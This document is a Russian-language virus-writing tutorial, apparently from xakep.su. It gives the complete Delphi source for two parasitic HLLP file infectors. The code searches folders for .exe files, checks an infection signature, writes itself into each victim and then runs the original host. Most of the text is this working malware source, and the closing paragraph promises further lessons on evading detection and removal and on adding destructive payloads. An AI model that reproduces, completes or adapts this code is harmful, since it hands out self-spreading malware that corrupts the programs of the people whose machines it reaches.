Как вы уже не раз убеждались, вирусы, написанные без RTL – весьма малы, резвы, но и достаточно сложны, но мне кажется, это достойная плата за результат. К этому уроку я подготовил, как и в 7,8 уроке два исходника вирусов:
- Заражение со смещением жертвы в конец файла
- Заражние с переносом фрагмента жертвы в конец, и записи себя в начало.
. Вирусы, так же состоят из тех же основных частей:
- Процедура перемещения данных (CopyData)
- Процедура проверки зараженности (CheckInfect)
- Процедура заражения жертвы (Infect)
- Процедура запуска жертвы (InRun)
- Основная часть, включающая в себя - поиск файлов и своевременный вызов процедур..
. При подготовке материала, я решил обеспечить минимальную разницу между исходниками, что бы вам было проще эту разницу уловить, да и что бы не было необходимости в приведении каждой процедуры дважды. В общем, вся разница между вирусами заключается в процедурах заражения и запуска жертв (Infect и InRun), остальные части исходника, включая основную часть идентичны, за исключением того, что для первого типа требуется на одну функцию больше чем для второго (CopyFile).
. По уже накатанной традиции, преступаем к рассмотрению первого типа вируса HLLP (смещение жертвы в конец). Начнём с общей для вирей процедуры проверки заражённости (CheckInfect) вот её вид:
function CheckInfect(path : PChar):boolean;
//Функция проверки зараженности - получает путь к файлу
//возвращает True - если не заражено false - если нет
const
SignSize = 77;//Размер сигнатуры
SignPos = 999;//Позиция начала сигнатуры
type
Bufer = array [0..SignSize-1] of char;//Буфер сигнатуры
var
B : integer;
F1 : Integer;
F2 : Integer;
pch : PathBuf;
SignBuf : Bufer;
VictBuf : Bufer;
begin
GetModuleFileName(0, pch, MAX_PATH);//Вычисляем путь к себе
F1:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем себя
F2:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем жертву
ReadFile(F1, SignBuf, SignSize, B, nil);//Читаем в себе сигнатуру
ReadFile(F2, VictBuf, SignSize, B, nil);//Читаем сигнатуру в жертве
CloseHandle(F1);//Закрываем себя
CloseHandle(F2);//Закрываем жертву
if LStrCmp(SignBuf,VictBuf)=0 then Result:=false//Если сигнатуры равны то false
else Result:=true;//если не равны, то true - заражаем
end;
Как видите, ни чего нового эта процедура не включает в себя и разница между этой же функцией не на WinAPI, заключается в используемых функциях. А так принцип тот же:
- Открыть себя
- Открыть жертву
- Считать сигнатуру из себя
- Считать сигнатуру из жертвы
- Закрыть файлы
- Сравнить сигнатуры, если не равны, то true и наоборот..
. Переходим к рассмотрению процедуры CopyData. Она так же весьма похожа на предыдущую. Для того что бы не делать две разные процедуры и потом их отдельно не описывать я ввел в процедуру исключительные условия, т.е. в первом типе вируса используются одни, а во втором другие, т.о. одна процедура годится для обоих вирусов. Вот исходник:
Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer);
//Процедура переноса данных
//FromF - Файл источник данных
//ToF - файл приёмник данных
//FromSeek - Позиция начала чтения в файле источнике
//ToSeek - Позиция начала записи в файле приёмнике
//FromPos - место отсчета (начало конец) в файле источнике
//ToPos - место отсчета (начало конец) в файле приёмнике
//DataCount - количество переносимых байт
//RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1)
var
buf : array [1..Max_Size] of byte;
f1 : THandle;
f2 : THandle;
fs : INTEGER;
N : INTEGER;
begin
f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
//Открытие файла-источника
if f1=-1 then Exit;//Если ошибка - выход
SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения
case DataCount of //Условие организации исключения
0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun второго типа HLLP
1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP
2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP
else fs:=DataCount;//Если не исключение
end;
if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход
ReadFile(f1, Buf, fs, N, nil);//Читаем из источника
CloseHandle(f1);//Закрытие файла источника
f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1);
//Открываем файл приёмник
if f2=-1 then exit;//Если ошибка то выход
SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи
WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник
CloseHandle(f2);//Закрытие файла
end;
. Переходим к рассмотрения процедуры заражения (Infect), тут всё ясно:
Procedure Infect(Path:PChar);//Процедура заражения жертвы, получает путь к жертве
var
pch : PathBuf;
begin
GetModuleFileName(0, pch, Max_Path);
//Путь к себе
CopyData(pch,TmpName,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,1);
//копирование фрагмента из начала в конец
CopyData(path,TmpName,0,0,FILE_BEGIN,FILE_END,2,3);
//копирование себя в начало с перезаписью
CopyFile(TmpName,path,false);
DeleteFile(TmpName);
end;
. Единственная особенность, то что вместо переименования пришлось воспользоваться процедурой CopyFile, а остальном всё так же как и раньше.
. Процедура запуска жертвы имеет вид:
Procedure InRun;//Процедура запуска жертвы
var
pch : PathBuf;
R : FindRec;
begin
GetModuleFileName(0, pch, MAX_PATH);//Путь к себе
FindFirstFile(pch,R);//Ищем свой файл
if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим
CopyData(pch,TmpName,VirSize,0,FILE_BEGIN,FILE_BEGIN,1,1);
//Копируем в темп тело жертвы
WinExec(TmpName,SW_SHOW);//Запускаем темп
ExitProcess(0);//Выход из программы
end;
. Основная часть вируса, как я уже говорил одинаковая у обоих вирусов, и так же сделана с фотографической схожестью на предыдущую статью. Вот её исходный текст:
//Основная часть
var
H : integer;
R : FindRec;
begin
DeleteFile(TmpName);//На всякий случай удаляем временый файл
H:=FindFirstFile('*.exe',R);//Ищем первый файл по маске *.ехе
while H<>0 do //Выполняем поиск до появления ошибки
begin
if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка
and CheckInfect(R.cFileName) then//и если не заражено то..
infect(R.cFileName);//заражаем
if not FindNextFile(h,R) then break;//Ищем следующий
end;
InRun;//Запускаем жертву, если находимся в ней
end.
. Я думаю, вы все заметили, что я не приводил в исходниках импортируемые процедуры, функции, типы и т.д., т.к это в общем-то не добавит читабельности исходников, поэтому привожу полный текст первого вируса HLLP на microDelphi, надеюсь избыточные комментарии помогут вам освоить все его тонкости:
program VirusHLLP1_microDelphi_execom; {xakep.su}
const
VirSize = 1709;//Размер вируса после пака, т.е. его рабочий размер
Max_Size = 999999; //Максимальный размер заражаемого файла
TmpName = '$$$.exe';
//Далее идут константы применяемые в коде
ATTR_DIR = $00000010;//Атрибут директории
FILE_ATTRIBUTE_NORMAL = $00000080;//Общий атрибут
FILE_SHARE_WRITE = $00000002;//Запись в файл
FILE_SHARE_READ = $00000001;//Чтение из файла
KERNEL32 = 'kernel32.dll';
MAX_PATH = 260;//Максимальная длина пути
GENERIC_READ = INTEGER($80000000);//Открыть для чтения
GENERIC_WRITE = $40000000;//Открыть для записи
OPEN_EXISTING = 3;//Открытие для выполнения
SW_SHOW = 1;//Нормальный запуск
FILE_END = 2;//Счет с конца файла
FILE_BEGIN = 0;//Счет с начала файла
//Типы применяемые в вирусе
type
PathBuf = array [0..MAX_PATH] of char; //Буфер пути к файлу
TFileTime = record //Запись передачи даты и времени
dwLowDateTime: INTEGER;
dwHighDateTime: INTEGER;
end;
FindRec = record
//Запись в которую возврящаются параметры поиска файлов
dwFileAttributes: INTEGER; //Атрибуты
ftCreationTime: TFileTime; //Время создания
ftLastAccessTime: TFileTime;//Время последнего обращения
ftLastWriteTime: TFileTime; //Время последнего изменения
nFileSizeHigh: INTEGER; //Размер реальный
nFileSizeLow: INTEGER; //Размер на диске
dwReserved0: INTEGER; //Резерв
dwReserved1: INTEGER; //Резерв
cFileName: PathBuf; //Полное имя файла
cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3
end;
THandle = INTEGER;
HINST = INTEGER;
//Не применяется, необходим для импорта некоторых функций
POverlapped = ^TOverlapped;
TOverlapped = record
Internal: Cardinal;
InternalHigh: Cardinal;
Offset: Cardinal;
OffsetHigh: Cardinal;
hEvent: Cardinal;
end;
//Не применяется, необходим для импорта некоторых функций
PSecurityAttributes = ^TSecurityAttributes;
TSecurityAttributes = record //Запись атрибута безопасности
nLength: Cardinal;
lpSecurityDescriptor: Pointer;
bInheritHandle: Boolean;
end;
function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): THandle; stdcall; external kernel32 name 'FindFirstFileA';
//Поиск первого файла в указанном каталоге по маске
function FindNextFile(hFindFile: THandle; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';
//Поиск следующего файла в сессии начатой FindNextFile
function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes:PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external kernel32 name 'CreateFileA';
//Создает или открывает следующие объекты и возвращает Хендл (handle), для получения доступа к объекту
function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped:POverlapped): Boolean; stdcall; external kernel32 name 'WriteFile';
//Запись в файл
function GetFileSize(hFile: INTEGER; lpFileSizeHigh: Pointer): INTEGER; stdcall; external kernel32 name 'GetFileSize';
//Определение размера файла
function CloseHandle(hObject: INTEGER): Boolean; stdcall; external kernel32 name 'CloseHandle';
//Закрытие хендла объекта открытого CreateFile
function SetFilePointer(hFile: THandle; lDistanceToMove: Longint; lpDistanceToMoveHigh: Pointer; dwMoveMethod: LongWORD): LongWORD; stdcall; external kernel32 name 'SetFilePointer';
//Установка указателя записи/чтения в заданную позицию
function ReadFile(hFile: THandle; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped:POverlapped): BOOLEAN; stdcall; external kernel32 name 'ReadFile';
//Чтение из файла
function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
//Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
function DeleteFile(lpFileName: PChar): BOOLEAN; stdcall;external kernel32 name 'DeleteFileA';
//Удаляет существующий файл
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec';
// Выполняет пpикладную задачу, указанную паpаметpом CmdLine
procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess';
//Выход из процесса с заданным кодом выхода
function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA';
//Сравнение переменных
function CopyFile(lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOLEAN): BOOLEAN; stdcall; external kernel32 name 'CopyFileA';
//Копирует файл
function CheckInfect(path : PChar):boolean;
//Функция проверки зараженности - получает путь к файлу
//возвращает True - если не заражено false - если нет
const
SignSize = 77;//Размер сигнатуры
SignPos = 999;//Позиция начала сигнатуры
type
Bufer = array [0..SignSize-1] of char;//Буфер сигнатуры
var
B : integer;
F1 : Integer;
F2 : Integer;
pch : PathBuf;
SignBuf : Bufer;
VictBuf : Bufer;
begin
GetModuleFileName(0, pch, MAX_PATH);//Вычисляем путь к себе
F1:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем себя
F2:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем жертву
ReadFile(F1, SignBuf, SignSize, B, nil);//Читаем в себе сигнатуру
ReadFile(F2, VictBuf, SignSize, B, nil);//Читаем сигнатуру в жертве
CloseHandle(F1);//Закрываем себя
CloseHandle(F2);//Закрываем жертву
if LStrCmp(SignBuf,VictBuf)=0 then Result:=false//Если сигнатуры равны то false
else Result:=true;//если не равны, то true - заражаем
end;
Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer);
//Процедура переноса данных
//FromF - Файл источник данных
//ToF - файл приёмник данных
//FromSeek - Позиция начала чтения в файле источнике
//ToSeek - Позиция начала записи в файле приёмнике
//FromPos - место отсчета (начало конец) в файле источнике
//ToPos - место отсчета (начало конец) в файле приёмнике
//DataCount - количество переносимых байт
//RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1)
var
buf : array [1..Max_Size] of byte;
f1 : THandle;
f2 : THandle;
fs : INTEGER;
N : INTEGER;
begin
f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
//Открытие файла-источника
if f1=-1 then Exit;//Если ошибка - выход
SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения
case DataCount of //Условие организации исключения
0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun втогоро типа HLLP
1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP
2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP
else fs:=DataCount;//Если не исключение
end;
if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход
ReadFile(f1, Buf, fs, N, nil);//Читаем из источника
CloseHandle(f1);//Закрытие файла источника
f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1);
//Открываем файл приёмник
if f2=-1 then exit;//Если ошибка то выход
SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи
WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник
CloseHandle(f2);//Закрытие файла
end;
Procedure InRun;//Процедура запуска жертвы
var
pch : PathBuf;
R : FindRec;
begin
GetModuleFileName(0, pch, MAX_PATH);//Путь к себе
FindFirstFile(pch,R);//Ищем свой файл
if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим
CopyData(pch,TmpName,VirSize,0,FILE_BEGIN,FILE_BEGIN,1,1);
//Копируем в темп тело жертвы
WinExec(TmpName,SW_SHOW);//Запускаем темп
ExitProcess(0);//Выход из программы
end;
Procedure Infect(Path:PChar);//Процедура заражения жертвы, получает путь к жертве
var
pch : PathBuf;
begin
GetModuleFileName(0, pch, Max_Path);
//Путь к себе
CopyData(pch,TmpName,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,1);
//копирование фрагмента из начала в конец
CopyData(path,TmpName,0,0,FILE_BEGIN,FILE_END,2,3);
//копирование себя в начало с перезаписью
CopyFile(TmpName,path,false);
DeleteFile(TmpName);
end;
//Основная часть
var
H : integer;
R : FindRec;
begin
DeleteFile(TmpName);//На всякий случай удаляем временый файл
H:=FindFirstFile('*.exe',R);//Ищем первый файл по маске *.ехе
while H<>0 do //Выполняем поиск до появления ошибки
begin
if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка
and CheckInfect(R.cFileName) then//и если не заражено то..
infect(R.cFileName);//заражаем
if not FindNextFile(h,R) then break;//Ищем следующий
end;
InRun;//Запускаем жертву, если находимся в ней
end.
. Вот такой вот вирус. Размер вируса после компилции 4608 байт (4,5кб), а после упаковки fsg2 – 1709 байт. При том условии, что это вполне полноценный паразит, не вижу ни малейшего повода, что бы по новому не переоценить, великие возможности Delphi. Но останавливаться на этом нет смысла и сейчас мы не долго думая оформим второй вирус HLLP – с переносом фрагмента из начала в конец. А точнее мы рассмотрим, то что его отличает от этого вируса, а это как я уже говорил процедуры – Infect и InRun.
. Второй тип HLLP вируса.
Привожу обе процедуры– Infect и InRun, комментарии, как всегда имеются, поэтому проблем не возникнет в понимании:
Procedure InRun;//Процедура запуска жертвы
var
pch : PathBuf;
R : FindRec;
begin
GetModuleFileName(0, pch, MAX_PATH);//Путь к себе
FindFirstFile(pch,R);//Ищем свой файл
if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим
CopyData(pch,TmpName,-VirSize,0,FILE_END,FILE_BEGIN,VirSize,1);
//Копируем в темп с расшифровкой кусок из конца
CopyData(pch,TmpName,VirSize,VirSize,FILE_BEGIN,FILE_BEGIN,0,3);
//Копируем в темп вторую часть программы
WinExec(TmpName,SW_SHOW);//Запускаем темп
ExitProcess(0);//Выход из программы
end;
Procedure Infect(Path:PChar);//Процедура заражения жертвы
var
pch : PathBuf;
begin
GetModuleFileName(0, pch, Max_Path);
//Путь к себе
CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,3);
//копирование фрагмента из начала в конец
CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,3);
//копирование себя в начало с перезаписью
end;
Ну вот теперь позволю себе без лишних вводных слов привести исходник второго вируса, затем небольшое отступление и наверно эту статью завершим, надо же мне и поесть, да и поспать.
program VirusHLLP2_microDelphi_execom; {xakep.su}
const
VirSize = 1697;//Размер вируса после пака, т.е. его рабочий размер
Max_Size = 999999; //Максимальный размер заражаемого файла
TmpName = '$$$.exe';
//Далее идут константы применяемые в коде
ATTR_DIR = $00000010;//Атрибут директории
FILE_ATTRIBUTE_NORMAL = $00000080;//Общий атрибут
FILE_SHARE_WRITE = $00000002;//Запись в файл
FILE_SHARE_READ = $00000001;//Чтение из файла
KERNEL32 = 'kernel32.dll';
MAX_PATH = 260;//Максимальная длина пути
GENERIC_READ = INTEGER($80000000);//Открыть для чтения
GENERIC_WRITE = $40000000;//Открыть для записи
OPEN_EXISTING = 3;//Открытие для выполнения
SW_SHOW = 1;//Нормальный запуск
FILE_END = 2;//Счет с конца файла
FILE_BEGIN = 0;//Счет с начала файла
//Типы применяемые в вирусе
type
PathBuf = array [0..MAX_PATH] of char; //Буфер пути к файлу
TFileTime = record //Запись передачи даты и времени
dwLowDateTime: INTEGER;
dwHighDateTime: INTEGER;
end;
FindRec = record
//Запись в которую возврящаются параметры поиска файлов
dwFileAttributes: INTEGER; //Атрибуты
ftCreationTime: TFileTime; //Время создания
ftLastAccessTime: TFileTime;//Время последнего обращения
ftLastWriteTime: TFileTime; //Время последнего изменения
nFileSizeHigh: INTEGER; //Размер реальный
nFileSizeLow: INTEGER; //Размер на диске
dwReserved0: INTEGER; //Резерв
dwReserved1: INTEGER; //Резерв
cFileName: PathBuf; //Полное имя файла
cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3
end;
THandle = INTEGER;
HINST = INTEGER;
//Не применяется, необходим для импорта некоторых функций
POverlapped = ^TOverlapped;
TOverlapped = record
Internal: Cardinal;
InternalHigh: Cardinal;
Offset: Cardinal;
OffsetHigh: Cardinal;
hEvent: Cardinal;
end;
//Не применяется, необходим для импорта некоторых функций
PSecurityAttributes = ^TSecurityAttributes;
TSecurityAttributes = record //Запись атрибута безопасности
nLength: Cardinal;
lpSecurityDescriptor: Pointer;
bInheritHandle: Boolean;
end;
function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): THandle; stdcall; external kernel32 name 'FindFirstFileA';
//Поиск первого файла в указанном каталоге по маске
function FindNextFile(hFindFile: THandle; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';
//Поиск следующего файла в сессии начатой FindNextFile
function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes:PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external kernel32 name 'CreateFileA';
//Создает или открывает следующие объекты и возвращает Хендл (handle), для получения доступа к объекту
function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped:POverlapped): Boolean; stdcall; external kernel32 name 'WriteFile';
//Запись в файл
function GetFileSize(hFile: INTEGER; lpFileSizeHigh: Pointer): INTEGER; stdcall; external kernel32 name 'GetFileSize';
//Определение размера файла
function CloseHandle(hObject: INTEGER): Boolean; stdcall; external kernel32 name 'CloseHandle';
//Закрытие хендла объекта открытого CreateFile
function SetFilePointer(hFile: THandle; lDistanceToMove: Longint; lpDistanceToMoveHigh: Pointer; dwMoveMethod: LongWORD): LongWORD; stdcall; external kernel32 name 'SetFilePointer';
//Установка указателя записи/чтения в заданную позицию
function ReadFile(hFile: THandle; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped:POverlapped): BOOLEAN; stdcall; external kernel32 name 'ReadFile';
//Чтение из файла
function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
//Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
function DeleteFile(lpFileName: PChar): BOOLEAN; stdcall;external kernel32 name 'DeleteFileA';
//Удаляет существующий файл
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec';
// Выполняет пpикладную задачу, указанную паpаметpом CmdLine
procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess';
//Выход из процесса с заданным кодом выхода
function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA';
//Сравнение переменных
function CheckInfect(path : PChar):boolean;
//Функция проверки зараженности - получает путь к файлу
//возвращает True - если не заражено false - если нет
const
SignSize = 77;//Размер сигнатуры
SignPos = 999;//Позиция начала сигнатуры
type
Bufer = array [0..SignSize-1] of char;//Буфер сигнатуры
var
B : integer;
F1 : Integer;
F2 : Integer;
pch : PathBuf;
SignBuf : Bufer;
VictBuf : Bufer;
begin
GetModuleFileName(0, pch, MAX_PATH);//Вычисляем путь к себе
F1:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем себя
F2:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем жертву
ReadFile(F1, SignBuf, SignSize, B, nil);//Читаем в себе сигнатуру
ReadFile(F2, VictBuf, SignSize, B, nil);//Читаем сигнатуру в жертве
CloseHandle(F1);//Закрываем себя
CloseHandle(F2);//Закрываем жертву
if LStrCmp(SignBuf,VictBuf)=0 then Result:=false//Если сигнатуры равны то false
else Result:=true;//если не равны, то true - заражаем
end;
Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer);
//Процедура переноса данных
//FromF - Файл источник данных
//ToF - файл приёмник данных
//FromSeek - Позиция начала чтения в файле источнике
//ToSeek - Позиция начала записи в файле приёмнике
//FromPos - место отсчета (начало конец) в файле источнике
//ToPos - место отсчета (начало конец) в файле приёмнике
//DataCount - количество переносимых байт
//RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1)
var
buf : array [1..Max_Size] of byte;
f1 : THandle;
f2 : THandle;
fs : INTEGER;
N : INTEGER;
begin
f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
//Открытие файла-источника
if f1=-1 then Exit;//Если ошибка - выход
SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения
case DataCount of //Условие организации исключения
0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun втогоро типа HLLP
1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP
2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP
else fs:=DataCount;//Если не исключение
end;
if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход
ReadFile(f1, Buf, fs, N, nil);//Читаем из источника
CloseHandle(f1);//Закрытие файла источника
f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1);
//Открываем файл приёмник
if f2=-1 then exit;//Если ошибка то выход
SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи
WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник
CloseHandle(f2);//Закрытие файла
end;
Procedure InRun;//Процедура запуска жертвы
var
pch : PathBuf;
R : FindRec;
begin
GetModuleFileName(0, pch, MAX_PATH);//Путь к себе
FindFirstFile(pch,R);//Ищем свой файл
if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим
CopyData(pch,TmpName,-VirSize,0,FILE_END,FILE_BEGIN,VirSize,1);
//Копируем в темп с расшифровкой кусок из конца
CopyData(pch,TmpName,VirSize,VirSize,FILE_BEGIN,FILE_BEGIN,0,3);
//Копируем в темп вторую часть программы
WinExec(TmpName,SW_SHOW);//Запускаем темп
ExitProcess(0);//Выход из программы
end;
Procedure Infect(Path:PChar);//Процедура заражения жертвы
var
pch : PathBuf;
begin
GetModuleFileName(0, pch, Max_Path);
//Путь к себе
CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,3);
//копирование фрагмента из начала в конец
CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,3);
//копирование себя в начало с перезаписью
end;
//Основная часть
var
H : integer;
R : FindRec;
begin
DeleteFile(TmpName);//На всякий случай удаляем временый файл
H:=FindFirstFile('*.exe',R);//Ищем первый файл по маске *.ехе
while H<>0 do //Выполняем поиск до появления ошибки
begin
if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка
and CheckInfect(R.cFileName) then//и если не заражено то..
infect(R.cFileName);//заражаем
if not FindNextFile(h,R) then break;//Ищем следующий
end;
InRun;//Запускаем жертву, если находимся в ней
end.
. На этом уроке мы окончательно, разобрались в общих принципах, вирусов на языках высокого уровня, и реализовали их используя потенциалы языков Pascal и Delphi, причем на Delphi мы это сделали весьма красивым и малоиспользуемым методом – без RTL. Далее у нас намечается несколько уроков, которые помогут вам разобраться в том, как сделать вирус более живучим, как понизить вероятность его лечения и обнаружения, так же узнаем, о том, как снабдить наши творения всевозможными вредительскими возможностями. В целом дальше будет гораздо больше теории, нежели исходников, но это необходимый кастет познаний и от него не уйти, если есть желание знать о вирусах, по крайней мере, много (всё знать нельзя). Дальше, мы начнём писать вирусы на ассемблере. Т.о. я надеюсь охватить наибольший пласт знаний в этом вопросе. Так же я постараюсь найти в себе силы, что бы писать статьи максимально понятно и читабельно, надеюсь вас не очень напрягает наличие определённых опечаток в тексте, просто времени на проверку, нет..
xakep.su
|